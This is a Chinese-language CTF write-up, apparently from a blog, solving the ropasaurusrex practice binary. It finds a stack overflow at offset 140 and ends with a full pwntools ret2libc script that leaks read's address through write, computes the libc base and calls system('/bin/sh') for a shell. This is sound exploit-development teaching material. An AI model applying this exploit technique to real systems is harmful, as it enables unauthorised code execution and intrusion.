题目来源于CTF-Wiki练习,下载链接:程序 | libc

拿到题目先检查程序保护

1566196676812

扔到IDA里面查看,程序在主函数里面调用了一个子函数,双击进入子函数可以看到我们熟悉的read溢出漏洞

1566196882838

先来找一下溢出的需要的偏移量,随机生成200个有序的字符

1
cyclic 200

1566197455403

将生成的字符串复制,使用gdb对程序进行运行调试,在程序等待输入的时候,把生成的随机字符串输入进去

1566197574056

然后可以得到程序溢出报错的地址0x6261616b,再次使用cyclic可以得到程序溢出所需要的偏移量为140

1566197694547

根据题目名称和所给的libc盲猜是ret2libc的题目

大体思路如下:

  • 首先根据程序源码的结构,我们要利用write函数将程序已经执行过的函数(比如read)地址泄露出来,然后再控制程序返回到含有溢出漏洞的函数,以便下一步溢出到system
  • 根据泄露的函数的真实地址计算得到在libc中的基地址
  • 利用基地址在libc中找到system和/bin/sh的地址,最后在payload中拼接打入程序即可

下面就可以编写我们的exp的,在写之前,我们还需要找一下程序中溢出函数的地址

打开IDA,在main函数中找到溢出的函数,双击它

1566215173014

然后按Tab键切回到汇编代码的亚子

1566215243689

这里就是我们溢出函数的代码,可以看到它的起始地址为0x080483F4

下面正式编写我们的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
sh = process('./ropasaurusrex')
libc = ELF('/lib32/libc.so.6')
rop_libc = ELF('./ropasaurusrex')

fun = 0x080483F4
write_plt = rop_libc.plt['write']
read_got = rop_libc.got['read']
payload = flat(['a'*140,write_plt,fun,1,read_got,4])
sh.sendline(payload)
read_addr = u32(sh.recv(4))

base = read_addr - libc.symbols['read']
system = base + libc.symbols['system']
binsh = base + next(libc.search('/bin/sh'))
payload = flat(['a'*140,system,'bbbb',binsh])

sh.sendline(payload)
sh.interactive()